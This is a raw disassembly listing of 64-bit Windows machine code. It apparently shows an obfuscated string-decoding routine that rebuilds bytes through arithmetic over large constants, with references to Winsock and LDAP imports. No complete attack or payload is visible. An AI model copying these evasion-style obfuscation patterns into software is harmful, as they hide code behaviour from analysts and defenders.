mov ecx, reloc.WLDAP32.dll_Ordinal_22
sub cl, al
add cl, cl
add cl, r10b
add cl, dl
mov byte [rbp + r9 + 0xb0], cl
inc r8
dec r9
mov qword [rsp + 0x28], r11
inc r9
jmp 0x1400ff843
movabs rdx, 0x78aa332a987d4d84
mov ecx, reloc.WLDAP32.dll_Ordinal_50
add rdx, r9
movzx eax, r10b
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
movabs rdx, 0xce99c4a6cfa54ab4
add rdx, r9
movzx eax, r10b
and al, dl
mov ecx, 0xa
sub cl, al
add cl, cl
add cl, r11b
add cl, r10b
add cl, dl
mov byte [rbp + r9 + 0xb0], cl
jmp 0x140100444
movabs rdx, 0x6619dc868107905c
mov ecx, 0x3e
add rdx, r9
movzx eax, r10b
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
mov qword [rsp + 0x28], r11
add rbx, r8
mov rdx, r11
movzx eax, dl
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r9, rcx
inc r9
jmp 0x1400ff843
movabs rcx, 0x1bd881f623309bbc
add rcx, r9
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea r11d, [rdx + rcx]
sub r11b, 0x24
movzx eax, byte [rbp + r9 + 0xb0]
add rax, r8
add r9, rax
mov qword [rsp + 0x28], r11
inc r9
jmp 0x1400ff843
movabs rcx, 0xd27e81a01815a2e4
add rcx, r9
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x3c
mov qword [rsp + 0x28], r11
jmp 0x1400ff840
movabs rcx, 0xbfee2afc009fe5bc
add rcx, r9
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x24
mov qword [rsp + 0x28], r11
jmp 0x1400ff824
lea r8, [rbp + 0x14d8c20]
jmp 0x14010050e
lea r8, [rbp + 0x486ab4]
jmp 0x14010050e
lea r8, [rbp + 0xb0]
mov r9, 0xffffffffffffffff
inc r9
cmp byte [r8 + r9], 0
jne 0x140100515
lea rcx, [rbp + 0x28]
cmp qword [rbp + 0x40], 0xf
cmova rcx, qword [rbp + 0x28]
mov rdx, qword [rbp + 0x38]
call fcn.140043a10
test al, al
jne 0x14010495b
mov byte [rbp + 0xd0], 0xe1
mov byte [rbp + 0xd1], reloc.WS2_32.dll_ntohl
mov byte [rbp + 0xd2], 0xf9
mov byte [rbp + 0xd3], 0x63
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xd4], xmm0
mov dword [rbp + 0xe4], eax
nop dword [rax]
call fcn.140139bd0
mov rbx, qword [rax]
call fcn.140139be0
mov r8, qword [rax]
xor r9d, r9d
cmp r9, 0x18
jae 0x140101067
movzx r10d, byte [rbp + r9 + 0xd0]
mov r11, qword [rsp + 0x30]
mov rdx, r10
nop
cmp rbx, r9
ja 0x14010105e
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x1401005d5
movabs rcx, 0xb6ea5bce650dcbf1
add rcx, r9
mov rax, rcx
and rax, rdx
imul r11, rax, 0xfffffffffffffffe
add r11, rcx
add r11, rdx
add r11b, 0x69
jmp 0x14010061c
je 0x140100ff0
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140100f7e
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140100f46
lea rax, [r8 + 5]
cmp rbx, rax
je 0x140100ef9
lea rax, [r8 + 7]
cmp rbx, rax
je 0x140100ec7
lea rax, [r8 + 6]
cmp rbx, rax
je 0x140100e6f
nop dword [rax]
cmp r8, r9
ja 0x140101050
lea rax, [r8 + 0x7a]
cmp rbx, rax
jae 0x140100651
movabs rcx, 0x13987ee4a21bac5
add rcx, r9
movzx eax, cl
and al, r10b
add al, al
sub cl, al
sub cl, 0x63
add cl, r10b
jmp 0x140100690
lea rax, [r8 + 1]
cmp rbx, rax
je 0x140100e57
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140100e28
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140100e05
lea rax, [r8 + 5]
cmp rbx, rax
je 0x140100da7
movzx ecx, r11b
nop dword [rax]
lea rax, [r8 + rbx]
cmp rax, r9
jbe 0x140100a2f
nop dword [rax]
lea rax, [r8 + 0x40]
cmp rbx, rax
je 0x140100a09
lea rax, [r8 + 4]
cmp rbx, rax
je 0x1401009db
lea rax, [r8 + 0x1000]
cmp rbx, rax
je 0x1401009b2
lea rax, [r8 + 0x20]
cmp rbx, rax
je 0x14010098c
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140100969
lea rax, [r8 + 0x3e8]
cmp rbx, rax
je 0x1401006a0
mov rbx, rax
lea r8, [rax + 0x3e8]
lea rax, [r8 + 0xa]
cmp rbx, rax
jb 0x140101027
lea rax, [r8 + 0x2a]
cmp rbx, rax
jb 0x1401007cd
lea rax, [r8 + 0x80]
cmp rbx, rax
jb 0x1401007ab
lea rax, [r8 + 8]
cmp rbx, rax
jb 0x140100910
lea rax, [r8 + 0x41]
cmp rbx, rax
jb 0x1401008c3
lea rax, [r8 + 0x42]
cmp rbx, rax
jb 0x1401006a0
mov rbx, rax
lea r8, [rax + 0x42]
lea rax, [r8 + 5]
cmp rbx, rax
ja 0x14010089d
lea rax, [r8 + 0x61]
cmp rbx, rax
ja 0x140100882
lea rax, [r8 + 0x28]
cmp rbx, rax
ja 0x14010085b
lea rax, [r8 + 3]
cmp rbx, rax
ja 0x14010082a
lea rax, [r8 + 0x400]
cmp rbx, rax
ja 0x1401007f6
lea rax, [r8 + 0x10]
cmp rbx, rax
ja 0x1401006a0
mov rbx, rax
lea r8, [rax + 0x10]
jmp 0x1401006a0
movabs rcx, 0x513fd910de7dbbdb
add rcx, r9
movzx eax, cl
and al, r10b
add al, al
sub cl, al
add cl, 3
add cl, r10b
jmp 0x140100690
movabs rcx, 0x759669d74a468c17
add rcx, r9
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
add r11b, 0x5f
mov qword [rsp + 0x30], r11
jmp 0x14010059b
movabs rdx, 0x9bf787d586f23e46
add rdx, r9
movzx eax, r10b
and al, dl
mov ecx, listen
sub cl, al
add cl, cl
add cl, r10b
add dl, cl
inc r8
mov qword [rsp + 0x30], rdx
dec r9
inc r9
jmp 0x140100583
movabs rdx, 0x2e22d038bcd6a664
add rdx, r9
movzx eax, r10b
and al, dl
mov ecx, Ordinal_35
sub cl, al
add cl, cl
add cl, r10b
add dl, cl
mov qword [rsp + 0x30], rdx
dec r9
inc r9
jmp 0x140100583
movabs rcx, 0x527960ff289f76a0
add rcx, r9
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edx, [rcx + r10]
sub dl, 0x60
add rbx, r8
jmp 0x140100f61
movabs rdx, 0x76cff1c5946846dc
add rdx, r9
movzx eax, r10b
and al, dl
sub dl, 4
jmp 0x140100dbd
movabs rdx, 0x9b26828c00311718
add rdx, r9
movzx eax, dl
and al, r10b
mov ecx, Ordinal_46
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
jmp 0x14010100b
movabs rcx, 0x9abdffe73cd08381
add rcx, r9
movzx eax, cl
and al, r10b
add al, al
sub cl, al
add cl, 0x79
add cl, r10b
cmp r8, 0x64
jb 0x140100d37
movabs rcx, 0xe160943c437f4206
add rcx, r9
movzx eax, cl
and al, r10b
add al, al
sub cl, al
add cl, r10b
lea edx, [rcx*2 - 0x54]
jmp 0x140100e8f
movabs rdx, 0x2ce9484a72b4eb9f
add rdx, r9
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub cl, 0x59
add cl, dl
cmp rbx, 0x400
jae 0x140100d4f
lea rax, [r8 + 0x10]
cmp rbx, rax
jbe 0x140100c40
movabs rcx, 0x9711681c5e6b5332
add rcx, r9
movzx eax, cl
and al, r10b
add al, al
sub cl, al
sub cl, 0x5e
jmp 0x1401008dd
movabs rcx, 0x998477f8f2aec8bc
add rcx, r9
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x24
jmp 0x140100f9b
movabs rdx, 0x2bafc05c289330da
add rdx, r9
movzx eax, dl
and al, r10b
mov ecx, 5
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
jmp 0x140100dc7
movabs rdx, 0x50065122945c0116
add rdx, r9
movzx eax, dl
and al, r10b
mov ecx, 0x33
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
add rbx, r8
jmp 0x140100f61
movabs rcx, 0x745ce1e90024d152
add rcx, r9
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x3e
mov qword [rsp + 0x30], rdx
dec r9
inc r9
jmp 0x140100583
movabs rdx, 0x98b372af6beda18e
add rdx, r9
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
jmp 0x140100e8f
lea rax, [r8 + 0x3e8]
cmp rbx, rax
jae 0x140100a96
movabs rcx, 0xb6ea5bce650dcbf1
add rcx, r9
movzx eax, cl
and al, r10b
add al, al
sub cl, al
add cl, 0x69
add cl, r10b
lea rax, [r8 + rbx]
cmp rax, 0x41
je 0x140100d7c
lea rax, [r8 + 0x42]
cmp rbx, rax
jbe 0x140100b18
movabs rdx, 0x95d7e02e1449986d
add rdx, r9
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
add cl, 5
jmp 0x14010092e
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140100ac3
movabs rdx, 0x2730fdc9443758a
add rdx, r9
movzx eax, r10b
and al, dl
mov ecx, Ordinal_30
sub cl, al
add cl, cl
add cl, r10b
jmp 0x140101009
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140100ae7
movabs rdx, 0xde1c7f16287aa54e
add rdx, r9
movzx eax, r10b
and al, dl
sub dl, 0x22
jmp 0x140100dbd
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140100a58
movabs rcx, 0x4bf136b2f2963d30
add rcx, r9
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edx, [rcx + r10]
sub dl, 0x50
jmp 0x140100f61
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140100b44
movabs rcx, 0x3ac97cade65304f
add rcx, r9
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x29
jmp 0x140100e8f
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140100b7e
movabs rcx, 0x71814f67a880c831
add rcx, r9
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x57
inc r8
mov qword [rsp + 0x30], rdx
dec r9
inc r9
jmp 0x140100583
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140100bb6
movabs rcx, 0xdf560704729c6013
add rcx, r9
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edx, [rcx + r10]
add dl, 0x7b
mov qword [rsp + 0x30], rdx
dec r9
inc r9
jmp 0x140100583
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140100be3
movabs rcx, 0x28d42ddad0ef27b9
add rcx, r9
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edx, [rcx + r10]
sub dl, 0xf
jmp 0x140100f61
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x140100c0f
movabs rcx, 0x96a8e5779b0abf9b
add rcx, r9
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x3d
jmp 0x140100dc7
lea rax, [r8 + 8]
cmp rbx, rax
jne 0x140100930
movabs rcx, 0x725254b12f41ef5f
add rcx, r9
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edx, [rcx + r10]
add dl, 0x67
jmp 0x14010100b
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140100c6d
movabs rdx, 0x4e61fb92886eb14
add rdx, r9
movzx eax, r10b
and al, dl
mov ecx, Ordinal_60
sub cl, al
add cl, cl
add cl, r10b
jmp 0x140101009
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140100c9c
movabs rdx, 0x72bad755f2a282f6
add rdx, r9
movzx eax, r10b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_35
sub cl, al
add cl, cl
add cl, r10b
add dl, cl
jmp 0x140100f9b
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140100ccb
movabs rcx, 0xbc38fe2c50f54a9c
add rcx, r9
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x44
add rbx, r8
jmp 0x140100f61
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x140100cf9
movabs rdx, 0x2a0db5c91b10e27e
add rdx, r9
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub dl, 0x72
add dl, cl
jmp 0x140100f17
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x1401008e0
movabs rdx, 0x97e26d65e52c7a60
add rdx, r9
movzx eax, r10b
and al, dl
mov ecx, Ordinal_50
sub cl, al
add cl, cl
add cl, r10b
add dl, cl
mov qword [rsp + 0x30], rdx
dec r9
inc r9
jmp 0x140100583
mov byte [rbp + r9 + 0xd0], cl
movzx edx, cl
mov qword [rsp + 0x30], rdx
inc r9
jmp 0x140100583
movabs rdx, 0x4f354bd90d9ad9e8
add rdx, r9
movzx eax, r10b
and al, dl
add al, al
movzx ecx, byte [rbp + r9 + 0xd0]
sub cl, al
add cl, r10b
sub dl, 0x58
add dl, cl
jmp 0x140100f17
movabs rdx, 0xbd0a0375d7b671ca
add rdx, r9
movzx eax, dl
and al, r10b
mov ecx, 0x3d
sub cl, al
add cl, cl
sub cl, byte [rbp + r9 + 0xd0]
add dl, cl
add dl, r10b
jmp 0x140100dc7
movabs rdx, 0x20a8d37d0e2e1f3
add rdx, r9
movzx eax, r10b
and al, dl
add dl, 0x5b
add al, al
movzx ecx, r10b
sub cl, al
add dl, cl
mov qword [rsp + 0x30], rdx
movabs rdx, 0x73f45f443cc43dbb
add rdx, r9
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub cl, 0x1d
add cl, dl
movzx eax, cl
mov byte [rbp + r9 + 0xd0], al
inc r8
add rax, r8
sub r9, rax
jmp 0x140100fa0
movabs rcx, 0x9435d59b06c74a11
add rcx, r9
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x77
jmp 0x140100f61
movabs rcx, 0x4ab7aec4a874826b
add rcx, r9
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edx, [rcx + r10]
add dl, 0x13
mov qword [rsp + 0x30], rdx
dec r9
inc r9
jmp 0x140100583
movabs rdx, 0x6f0e3f8b143d52a7
add rdx, r9
movzx eax, r10b
and al, dl
add dl, 0x6f
jmp 0x140100e85
movabs rdx, 0x9364d051800622e3
add rdx, r9
movzx eax, r10b
and al, dl
sub dl, 0x35
add al, al
movzx ecx, r10b
sub cl, al
add dl, cl
movabs rcx, 0x984af00aa88d0df7
add rcx, r9
movzx eax, cl
and al, r10b
add al, al
sub cl, al
add cl, 0x3f
add cl, r10b
mov byte [rbp + r9 + 0xd0], cl
inc r8
mov qword [rsp + 0x30], rdx
dec r9
inc r9
jmp 0x140100583
movabs rcx, 0x259018b4b5ea8b01
add rcx, r9
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edx, [rcx + r10]
sub dl, 7
inc r8
mov qword [rsp + 0x30], rdx
dec r9
inc r9
jmp 0x140100583
movabs rcx, 0x49e6a97b21b35b3d
add rcx, r9
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
add dl, 0x55
movabs rcx, 0x61fa7a772a8a5d9
add rcx, r9
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
add r10b, 0x11
add r10b, dl
add r10b, cl
mov byte [rbp + r9 + 0xd0], r10b
add rbx, r8
jmp 0x140100f61
movabs rcx, 0x6e3d3a418d7c2b79
add rcx, r9
movzx eax, cl
and al, dl
add al, al
sub cl, al
sub dl, 0x4f
add dl, cl
mov qword [rsp + 0x30], rdx
movzx eax, dl
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r9, rcx
inc r9
jmp 0x140100583
mov r10, rdx
movabs rax, 0x9293cb07f944fbb5
add rax, r9
and dl, al
add dl, dl
sub al, dl
lea edx, [r10 + rax]
add dl, 0xd
mov qword [rsp + 0x30], rdx
movabs rdx, 0x2adebb12a1d209ac
add rdx, r9
movzx eax, dl
and al, r10b
mov ecx, Ordinal_41
sub cl, al
add cl, cl
add cl, dl
add cl, r10b
mov byte [rbp + r9 + 0xd0], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r9, rax
movzx eax, byte [rbp + r9 + 0xd0]
add rax, r8
add r9, rax
inc r9
jmp 0x140100583
movabs rcx, 0x24bf136b2f2963d3
add rcx, r9
movzx eax, dl
and al, cl
add al, al
sub dl, al
add dl, 0x3b
add dl, cl
mov qword [rsp + 0x30], rdx
movzx eax, byte [rbp + r9 + 0xd0]
add rax, r8
add r9, rax
inc r9
jmp 0x140100583
movabs rcx, 0x99ecfa9db60f5c53
add rcx, r9
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edx, [rcx + r10]
sub dl, 0x45
mov qword [rsp + 0x30], rdx
jmp 0x140100570
lea r8, [rbp + 0x14506bc]
mov qword [rsp + 0x30], r11
jmp 0x14010106e
lea r8, [rbp + 0x112d2ad]
jmp 0x14010106e
lea r8, [rbp + 0xd0]
mov r9, 0xffffffffffffffff
inc r9
cmp byte [r8 + r9], 0
jne 0x140101075
lea rcx, [rbp + 0x28]
cmp qword [rbp + 0x40], 0xf
cmova rcx, qword [rbp + 0x28]
mov rdx, qword [rbp + 0x38]
call fcn.140043a10
test al, al
jne 0x14010495b
mov byte [rbp + 0xf0], 5
mov byte [rbp + 0xf1], 8
mov byte [rbp + 0xf2], reloc.WS2_32.dll_setsockopt
mov byte [rbp + 0xf3], 0xa3
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xf4], xmm0
mov qword [rbp + 0x104], rax
mov dword [rbp + 0x10c], eax
call fcn.140139bd0
mov rbx, qword [rax]
call fcn.140139be0
mov r9, qword [rax]
xor r10d, r10d
cmp r10, 0x20
jae 0x140101cb9
movzx r11d, byte [rbp + r10 + 0xf0]
mov r8d, r11d
mov rdx, qword [rsp + 0x38]
cmp rbx, r10
ja 0x140101cb0
lea rax, [r9 + 1]
cmp rbx, rax
jae 0x14010113a
movabs rcx, 0x75dd00ff798a0646
add rcx, r10
mov rax, rcx
and rax, r8
imul rdx, rax, 0xfffffffffffffffe
add rdx, rcx
add rdx, r8
add dl, 0x16
mov qword [rsp + 0x38], rdx
jmp 0x140101167
je 0x140101c0d
lea rax, [r9 + 2]
cmp rbx, rax
je 0x140101b7c
lea rax, [r9 + 3]
cmp rbx, rax
je 0x140101b40
lea rax, [r9 + 4]
cmp rbx, rax
je 0x140101b0c
cmp r9, r10
ja 0x140101ca7
lea rax, [r9 + 0x200]
cmp rbx, rax
jae 0x14010119e
movabs rdx, 0xab2114f4f85283be
add rdx, r10
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
sub dl, 0x32
add dl, cl
jmp 0x1401011e0
lea rax, [r9 + 1]
cmp rbx, rax
je 0x140101aaf
lea rax, [r9 + 5]
cmp rbx, rax
je 0x140101a80
lea rax, [r9 + 6]
cmp rbx, rax
je 0x140101a5d
lea rax, [r9 + 2]
cmp rbx, rax
je 0x140101a34
lea rax, [r9 + 4]
cmp rbx, rax
je 0x140101a0b
nop
lea rax, [r9 + rbx]
cmp rax, r10
jbe 0x140101631
nop dword [rax]
lea rax, [r9 + 3]
cmp rbx, rax
je 0x140101608
lea rax, [r9 + 0x3e8]
cmp rbx, rax
je 0x1401015d2
lea rax, [r9 + 9]
cmp rbx, rax
je 0x1401015a3
lea rax, [r9 + 0x42]
cmp rbx, rax
je 0x14010157e
lea rax, [r9 + 4]
cmp rbx, rax
je 0x14010154a
lea rax, [r9 + 0x400]
cmp rbx, rax
je 0x140101524
lea rax, [r9 + 0xa]
cmp rbx, rax
je 0x1401014fb
lea rax, [r9 + 0x5a]
cmp rbx, rax
je 0x1401014d3
lea rbx, [r9 + 8]
lea r9, [rbx + 0x400]
lea rax, [r9 + 0x7a]
cmp rbx, rax
jb 0x140101c79
lea rax, [r9 + 0x28]
cmp rbx, rax
jb 0x140101c4b
lea rax, [r9 + 2]
cmp rbx, rax
jb 0x14010137d
lea rax, [r9 + 0x200]
cmp rbx, rax
jb 0x140101353
lea rax, [r9 + 8]
cmp rbx, rax
jb 0x140101330
lea rbx, [r9 + 0x10]
lea r9, [rbx + 0x7a]
lea rax, [r9 + 0x2a]
cmp rbx, rax
ja 0x1401014ad
lea rax, [r9 + 0x64]
cmp rbx, rax
ja 0x140101484
lea rax, [r9 + 5]
cmp rbx, rax
ja 0x14010145b
lea rax, [r9 + 0x1000]
cmp rbx, rax
ja 0x140101438
lea rax, [r9 + 0x10]
cmp rbx, rax
ja 0x140101409
lea rax, [r9 + 0x61]
cmp rbx, rax
ja 0x1401013d2
lea rax, [r9 + 0x20]
cmp rbx, rax
ja 0x1401013a9
lea rax, [r9 + 1]
cmp rbx, rax
ja 0x1401011f0
lea rbx, [r9 + 0x40]
lea r9, [rbx + 0x80]
jmp 0x1401011f0
movabs rcx, 0xfeff8ab6fdf16802
add rcx, r10
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0xe
jmp 0x1401011e0
movabs rdx, 0x134588b80add5b76
add rdx, r10
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
sub dl, 0x3a
add dl, cl
mov qword [rsp + 0x38], rdx
jmp 0x140101167
movabs rcx, 0x278b86b917c94eea
add rcx, r10
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x66
mov qword [rsp + 0x38], rdx
movzx r8d, r11b
jmp 0x140101101
movabs rdx, 0x5908a7a7c2941df0
add rdx, r10
movzx eax, dl
and al, r11b
mov ecx, gethostname
sub cl, al
lea r8d, [rcx + rcx]
add r8b, dl
add r8b, r11b
jmp 0x140101ad2
movabs rdx, 0x6d4ea5a8cf801164
add rdx, r10
movzx eax, r11b
and al, dl
mov ecx, Ordinal_35
sub cl, al
lea r8d, [rcx + rcx]
add r8b, r11b
add r8b, dl
inc r9
dec r10
mov qword [rsp + 0x38], r8
inc r10
jmp 0x1401010e6
movabs rcx, 0xaa209fabf643ebc0
add rcx, r10
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r8d, [r11 + rcx]
sub r8b, 0x40
mov qword [rsp + 0x38], r8
add rbx, r9
mov rdx, r8
jmp 0x140101b64
movabs rcx, 0xbe669dad032fdf34
add rcx, r10
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x6c
jmp 0x140101b5f
movabs rdx, 0xd2ac9bae101bd2a8
add rdx, r10
movzx eax, r11b
and al, dl
mov ecx, 0x34
sub cl, al
lea r8d, [rcx + rcx]
add r8b, r11b
add r8b, dl
jmp 0x140101b9d
movabs rdx, 0xe6f299af1d07c61c
add rdx, r10
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
lea r8d, [rcx + rcx]
add r8b, r11b
add r8b, dl
jmp 0x140101bd2
movabs rdx, 0xfb3897b029f3b990
add rdx, r10
movzx eax, r11b
and al, dl
mov ecx, 8
sub cl, al
lea r8d, [rcx + rcx]
add r8b, r11b
jmp 0x140101c2c
movabs rdx, 0x170c7bbededb09e8
add rdx, r10
movzx eax, r11b
and al, dl
add al, al
movzx r8d, r11b
sub r8b, al
sub r8b, 0x58
add r8b, dl
jmp 0x140101bd2
movabs rdx, 0x2b5279bfebc6fd5c
add rdx, r10
movzx eax, r11b
and al, dl
mov ecx, 0x3e
sub cl, al
lea r8d, [rcx + rcx]
add r8b, r11b
add r8b, dl
jmp 0x140101b9d
movabs rdx, 0x3f9877c0f8b2f0d0
add rdx, r10
movzx eax, dl
and al, r11b
mov ecx, Ordinal_41
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x140101b5f
movabs rdx, 0x53de75c2059ee444
add rdx, r10
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea r8d, [rcx + rcx]
add r8b, r11b
add r8b, dl
mov qword [rsp + 0x38], r8
add rbx, r9
mov rdx, r8
jmp 0x140101b64
movabs rdx, 0x682473c3128ad7b8
add rdx, r10
movzx eax, r11b
and al, dl
add al, al
movzx r8d, r11b
sub r8b, al
sub r8b, 8
jmp 0x14010199b
movabs rcx, 0x7c6a71c41f76cb2c
add rcx, r10
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r8d, [r11 + rcx]
sub r8b, 0x34
dec r10
mov qword [rsp + 0x38], r8
inc r10
jmp 0x1401010e6
movabs rcx, 0x90b06fc52c62bea0
add rcx, r10
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
sub r11b, 0x60
add r11b, cl
movzx r8d, r11b
inc r9
dec r10
mov qword [rsp + 0x38], r8
inc r10
jmp 0x1401010e6
movabs rdx, 0xa4f66dc6394eb214
add rdx, r10
movzx eax, dl
and al, r11b
mov ecx, Ordinal_60
sub cl, al
lea r8d, [rcx + rcx]
add r8b, dl
add r8b, r11b
jmp 0x140101ad2
lea rax, [r9 + 9]
cmp rbx, rax
jae 0x140101707
movabs rdx, 0x75dd00ff798a0646
add rdx, r10
movzx eax, dl
and al, r11b
mov ecx, listen
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
lea rax, [r9 + rbx]
cmp rax, 0x61
je 0x1401019da
lea rax, [r9 + 0x5a]
cmp rbx, rax
jbe 0x1401017cc
movabs rdx, 0x15a93cdff5e37eae
add rdx, r10
movzx eax, r11b
and al, dl
mov ecx, Ordinal_35
sub cl, al
add cl, cl
add cl, r11b
add dl, cl
cmp rbx, 0x64
jae 0x140101973
lea rax, [r9 + 2]
cmp rbx, rax
jbe 0x1401018ca
movabs rdx, 0xc0ca51d4ee36026c
add rdx, r10
movzx eax, r11b
and al, dl
mov ecx, 6
sub cl, al
add cl, cl
add cl, r11b
add dl, cl
cmp r9, 0x3e8
jb 0x14010195e
movabs rcx, 0xf60e65ca6cfe7fe4
add rcx, r10
movzx eax, cl
and al, r11b
add al, al
sub cl, al
add cl, r11b
lea r8d, [rcx*2 - 0x78]
jmp 0x140101ad2
lea rax, [r9 + 1]
cmp rbx, rax
jne 0x140101738
movabs rcx, 0x564229e9f0a5077c
add rcx, r10
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
sub r11b, 0x64
add r11b, cl
movzx r8d, r11b
jmp 0x140101c2f
lea rax, [r9 + 2]
cmp rbx, rax
jne 0x140101769
movabs rdx, 0x41fc2be8e3b91408
add rdx, r10
movzx eax, r11b
and al, dl
add al, al
movzx r8d, r11b
sub r8b, al
sub r8b, 0x38
add r8b, dl
jmp 0x140101bd2
lea rax, [r9 + 3]
cmp rbx, rax
jne 0x14010179a
movabs rdx, 0x2db62de7d6cd2094
add rdx, r10
movzx eax, r11b
and al, dl
add al, al
movzx r8d, r11b
sub r8b, al
sub r8b, 0xc
add r8b, dl
jmp 0x140101b9d
lea rax, [r9 + 7]
cmp rbx, rax
jne 0x14010165f
movabs rdx, 0xb41239e189456bdc
add rdx, r10
movzx eax, r11b
and al, dl
add al, al
movzx r8d, r11b
sub r8b, al
sub r8b, 4
jmp 0x140101acf
lea rax, [r9 + 1]
cmp rbx, rax
jne 0x1401017fe
movabs rdx, 0x1633edee8f78b3a
add rdx, r10
movzx eax, dl
and al, r11b
mov ecx, gethostname
sub cl, al
lea r8d, [rcx + rcx]
add r8b, dl
add r8b, r11b
jmp 0x140101ad2
lea rax, [r9 + 2]
cmp rbx, rax
jne 0x140101836
movabs rcx, 0xd8d742dccf1fa452
add rcx, r10
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r8d, [r11 + rcx]
sub r8b, 0x3e
dec r10
mov qword [rsp + 0x38], r8
inc r10
jmp 0x1401010e6
lea rax, [r9 + 3]
cmp rbx, rax
jne 0x140101863
movabs rcx, 0xc49144dbc233b0de
add rcx, r10
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r8d, [r11 + rcx]
sub r8b, 0x12
jmp 0x14010199e
lea rax, [r9 + 5]
cmp rbx, rax
jne 0x140101895
movabs rdx, 0x87bf4ad89b6fd682
add rdx, r10
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
lea r8d, [rcx + rcx]
add r8b, dl
add r8b, r11b
jmp 0x140101b9d
lea rax, [r9 + 7]
cmp rbx, rax
jne 0x14010169b
movabs rcx, 0x5f334ed68197ef9a
add rcx, r10
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
sub r11b, 0x36
add r11b, cl
movzx r8d, r11b
jmp 0x140101c2f
lea rax, [r9 + 1]
cmp rbx, rax
jne 0x1401018fc
movabs rdx, 0xac8453d3e14a0ef8
add rdx, r10
movzx eax, dl
and al, r11b
mov ecx, Ordinal_30
sub cl, al
lea r8d, [rcx + rcx]
add r8b, dl
add r8b, r11b
jmp 0x140101c2f
lea rax, [r9 + 3]
cmp rbx, rax
jne 0x140101929
movabs rcx, 0x83f857d1c7722810
add rcx, r10
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r8d, [r11 + rcx]
sub r8b, 0x70
jmp 0x140101b9d
lea rax, [r9 + 4]
